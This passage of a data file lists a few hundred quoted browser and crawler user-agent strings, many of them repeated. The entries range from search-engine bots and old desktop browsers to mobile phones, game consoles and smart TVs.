  2548. "Mozilla/4.0 compatible ZyBorg/1.0 (wn-14.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  2549. "Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )",
  2550. "Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://sp.ask.com/docs/about/tech_crawling.html)",
  2551. "Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://about.ask.com/en/docs/about/webmasters.shtml)",
  2552. "Mozilla/2.0 (compatible; Ask Jeeves/Teoma)",
  2553. "TerrawizBot/1.0 (+http://www.terrawiz.com/bot.html)",
  2554. "TheSuBot/0.2 (www.thesubot.de)",
  2555. "TheSuBot/0.1 (www.thesubot.de)",
  2556. "FAST-WebCrawler/3.8 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)",
  2557. "FAST-WebCrawler/3.7/FirstPage (atw-crawler at fast dot no;http://fast.no/support/crawler.asp)",
  2558. "FAST-WebCrawler/3.7 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)",
  2559. "FAST-WebCrawler/3.6/FirstPage (atw-crawler at fast dot no;http://fast.no/support/crawler.asp)",
  2560. "FAST-WebCrawler/3.6 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)",
  2561. "FAST-WebCrawler/3.x Multimedia",
  2562. "Mozilla/4.0 (compatible: FDSE robot)",
  2563. "findlinks/2.0.1 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  2564. "findlinks/1.1.6-beta6 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  2565. "findlinks/1.1.6-beta4 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  2566. "findlinks/1.1.6-beta1 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  2567. "findlinks/1.1.5-beta7 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  2568. "Mozilla/5.0 (Windows; U; WinNT; en; rv:1.0.2) Gecko/20030311 Beonex/0.8.2-stable",
  2569. "Mozilla/5.0 (Windows; U; WinNT; en; Preview) Gecko/20020603 Beonex/0.8-stable",
  2570. "Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2 (Debian-1.99+2.0b2+dfsg-1)",
  2571. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2",
  2572. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b2) Gecko/20060826 BonEcho/2.0b2",
  2573. "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1b2) Gecko/20060831 BonEcho/2.0b2",
  2574. "Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1b1) Gecko/20060601 BonEcho/2.0b1 (Ubuntu-edgy)",
  2575. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a3) Gecko/20060526 BonEcho/2.0a3",
  2576. "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  2577. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  2578. "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  2579. "AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)",
  2580. "AppEngine-Google; (+http://code.google.com/appengine; appid: unblock4myspace)"
  2581. "AppEngine-Google; (+http://code.google.com/appengine; appid: tunisproxy)",
  2582. "AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-in-rs)",
  2583. "AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-ba-k)",
  2584. "AppEngine-Google; (+http://code.google.com/appengine; appid: moelonepyaeshan)",
  2585. "AppEngine-Google; (+http://code.google.com/appengine; appid: mirrorrr)",
  2586. "AppEngine-Google; (+http://code.google.com/appengine; appid: mapremiereapplication)",
  2587. "AppEngine-Google; (+http://code.google.com/appengine; appid: longbows-hideout)",
  2588. "AppEngine-Google; (+http://code.google.com/appengine; appid: eduas23)",
  2589. "AppEngine-Google; (+http://code.google.com/appengine; appid: craigserver)",
  2590. "AppEngine-Google; ( http://code.google.com/appengine; appid: proxy-ba-k)",
  2591. "magpie-crawler/1.1 (U; Linux amd64; en-GB; +http://www.brandwatch.net)",
  2592. "Mozilla/5.0 (compatible; MJ12bot/v1.2.4; http://www.majestic12.co.uk/bot.php?+)",
  2593. "Mozilla/5.0 (compatible; MJ12bot/v1.2.3; http://www.majestic12.co.uk/bot.php?+)",
  2594. "MJ12bot/v1.0.8 (http://majestic12.co.uk/bot.php?+)",
  2595. "MJ12bot/v1.0.7 (http://majestic12.co.uk/bot.php?+)",
  2596. "Mozilla/5.0 (compatible; MojeekBot/2.0; http://www.mojeek.com/bot.html)",
  2597. "MojeekBot/0.2 (archi; http://www.mojeek.com/bot.html)",
  2598. "Moreoverbot/5.1 ( http://w.moreover.com; webmaster@moreover.com) Mozilla/5.0",
  2599. "Moreoverbot/5.00 (+http://www.moreover.com; webmaster@moreover.com)",
  2600. "msnbot/1.0 (+http://search.msn.com/msnbot.htm)",
  2601. "msnbot/0.9 (+http://search.msn.com/msnbot.htm)",
  2602. "msnbot/0.11 ( http://search.msn.com/msnbot.htm)",
  2603. "MSNBOT/0.1 (http://search.msn.com/msnbot.htm)",
  2604. "Mozilla/5.0 (compatible; mxbot/1.0; +http://www.chainn.com/mxbot.html)",
  2605. "Mozilla/5.0 (compatible; mxbot/1.0; http://www.chainn.com/mxbot.html)",
  2606. "NetResearchServer/4.0(loopimprovements.com/robot.html)",
  2607. "NetResearchServer/3.5(loopimprovements.com/robot.html)",
  2608. "NetResearchServer/2.8(loopimprovements.com/robot.html)",
  2609. "NetResearchServer/2.7(loopimprovements.com/robot.html)",
  2610. "NetResearchServer/2.5(loopimprovements.com/robot.html)",
  2611. "Mozilla/5.0 (compatible; Baiduspider/2.0;+http://www.baidu.com/search/spider.html)",
  2612. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)",
  2613. "Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)",
  2614. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)",
  2615. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)",
  2616. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET ",
  2617. "Googlebot/2.1 (http://www.googlebot.com/bot.html)",
  2618. "Opera/9.20 (Windows NT 6.0; U; en)",
  2619. "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)",
  2620. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)",
  2621. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)",
  2622. "Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0",
  2623. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)",
  2624. "Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16",
  2625. "Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)",
  2626. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13",
  2627. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)",
  2628. "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
  2629. "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)",
  2630. "Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)",
  2631. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22 Perk/3.3.0.0",
  2632. "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)",
  2633. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8",
  2634. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7",
  2635. "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
  2636. "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)",
  2637. "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)",
  2638. "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  2639. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6",
  2640. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0",
  2641. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4",
  2642. "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
  2643. "Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911",
  2644. "Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2",
  2645. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0)",
  2646. "Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285",
  2647. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7",
  2648. "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2",
  2649. "wii libnup/1.0",
  2650. "PSP (PlayStation Portable); 2.00",
  2651. "Bunjalloo/0.7.6(Nintendo DS;U;en)",
  2652. "Doris/1.15 [en] (Symbian)",
  2653. "BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  2654. "BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100",
  2655. "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
  2656. "Opera/9.80 (Windows NT 5.1; U;) Presto/2.7.62 Version/11.01",
  2657. "Mozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62",
  2658. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
  2659. "Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",
  2660. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.39 Safari/525.19",
  2661. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57)",
  2662. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; uZardWeb/1.0; Server_JP)",
  2663. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17 Skyfire/2.0",
  2664. "SonyEricssonW800i/R1BD001/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  2665. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
  2666. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20110517 Firefox/5.0 Fennec/5.0",
  2667. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
  2668. "MOT-V300/0B.09.19R MIB/2.2 Profile/MIDP-2.0 Configuration/CLDC-1.0",
  2669. "Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/20111216 Firefox/9.0 Fennec/9.0",
  2670. "Mozilla/5.0 (compatible; Teleca Q7; Brew 3.1.5; U; en) 480X800 LGE VX11000",
  2671. "MOT-L7/08.B7.ACR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1"
  2672. "Mozilla/4.0 (Compatible; MSIE 8.0; Windows NT 5.2; Trident/6.0)",
  2673. "Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)",
  2674. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00",
  2675. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00",
  2676. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00",
  2677. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; de) Opera 11.01",
  2678. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  2679. "Mozilla/5.0 (compatible; Konqueror/3.0; i686 Linux; 20021117)",
  2680. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  2681. "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
  2682. "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
  2683. "Opera/6.04 (Windows XP; U) [en]",
  2684. "Opera/9.99 (X11; U; sk)",
  2685. "Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
  2686. "Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
  2687. "Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk",
  2688. "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
  2689. "Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
  2690. "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15"
  2691. "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
  2692. "Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1",
  2693. "Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)",
  2694. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4",
  2695. "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
  2696. "Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911",
  2697. "Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2",
  2698. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0)",
  2699. "Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285",
  2700. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7",
  2701. "Mozilla/5.0 (PLAYSTATION 3; 3.55)",
  2702. "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2",
  2703. "wii libnup/1.0",
  2704. "Mozilla/4.0 (PSP (PlayStation Portable); 2.00)",
  2705. "PSP (PlayStation Portable); 2.00",
  2706. "Gigabot/3.0 (http://www.gigablast.com/spider.html)",
  2707. "Bunjalloo/0.7.6(Nintendo DS;U;en)",
  2708. "LG-BDP Linux/2.6.35 UPnP/1.0 DLNADOC/1.50 LGE_DLNA_SDK/1.5.0",
  2709. "Mozilla/5.0 (SmartHub; SMART-TV; U; Linux/SmartTV) AppleWebKit/531.2+ (KHTML, like Gecko) WebBrowser/1.0 SmartTV Safari/531.2+",
  2710. "Mozilla/5.0 (SMART-TV; X11; Linux i686) AppleWebKit/535.20+ (KHTML, like Gecko) Version/5.0 Safari/535.20+",
  2711. "Doris/1.15 [en] (Symbian)",
  2712. "BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  2713. "BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100",
  2714. "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
  2715. "Opera/9.80 (Windows NT 5.1; U;) Presto/2.7.62 Version/11.01",
  2716. "Mozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62",
  2717. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
  2718. "Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",
  2719. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.39 Safari/525.19",
  2720. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57)",
  2721. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; uZardWeb/1.0; Server_JP)",
  2722. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17 Skyfire/2.0",
  2723. "SonyEricssonW800i/R1BD001/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  2724. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
  2725. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20110517 Firefox/5.0 Fennec/5.0",
  2726. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
  2727. "MOT-V300/0B.09.19R MIB/2.2 Profile/MIDP-2.0 Configuration/CLDC-1.0",
  2728. "Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/20111216 Firefox/9.0 Fennec/9.0",
  2729. "Mozilla/5.0 (compatible; Teleca Q7; Brew 3.1.5; U; en) 480X800 LGE VX11000",
  2730. "MOT-L7/08.B7.ACR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1"
  2731. "Mozilla/4.0 (Compatible; MSIE 8.0; Windows NT 5.2; Trident/6.0)",
  2732. "Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)",
  2733. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00",
  2734. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00",
  2735. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00",
  2736. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; de) Opera 11.01",
  2737. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; fr) Opera 11.00",
  2738. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36",
  2739. "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36",
  2740. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0",
  2741. "Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4",
  2742. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0",
  2743. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36",
  2744. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36",
  2745. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56",
  2746. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7",
  2747. "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
  2748. "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
  2749. "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  2750. "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
  2751. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A",
  2752. "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36",
  2753. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36",
  2754. "Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",
  2755. "Mozilla/5.0 (Linux; Android 4.4.3; HTC_0PCV2 Build/KTU84L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36",
  2756. "Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; pl) Opera 11.00",
  2757. "Mozilla/4.0 (compatible; MSIE 9.0; Windows 98; .NET CLR 3.0.04506.30)",
  2758. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)",
  2759. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/4.0; GTB7.4; InfoPath.3; SV1; .NET CLR 3.4.53360; WOW64; en-US)",
  2760. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
  2761. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 4.4.58799; WOW64; en-US)",
  2762. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
  2763. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0",
  2764. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0",
  2765. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0",
  2766. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0"
  2767. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; fr) Opera 11.00",
  2768. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36",
  2769. "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36",
  2770. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0",
  2771. "Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4",
  2772. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0",
  2773. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36",
  2774. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36",
  2775. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56",
  2776. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7",
  2777. "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
  2778. "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
  2779. "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  2780. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  2781. "Mozilla/5.0 (compatible; Konqueror/3.0; i686 Linux; 20021117)",
  2782. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  2783. "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
  2784. "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
  2785. "Opera/6.04 (Windows XP; U) [en]",
  2786. "Opera/9.99 (X11; U; sk)",
  2787. "Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
  2788. "Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
  2789. "Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk",
  2790. "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
  2791. "Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
  2792. "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15"
  2793. "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
  2794. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A",
  2795. "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36",
  2796. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36",
  2797. "Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",
  2798. "Mozilla/5.0 (Linux; Android 4.4.3; HTC_0PCV2 Build/KTU84L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36",
  2799. "Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; pl) Opera 11.00",
  2800. "Mozilla/4.0 (compatible; MSIE 9.0; Windows 98; .NET CLR 3.0.04506.30)",
  2801. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)",
  2802. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/4.0; GTB7.4; InfoPath.3; SV1; .NET CLR 3.4.53360; WOW64; en-US)",
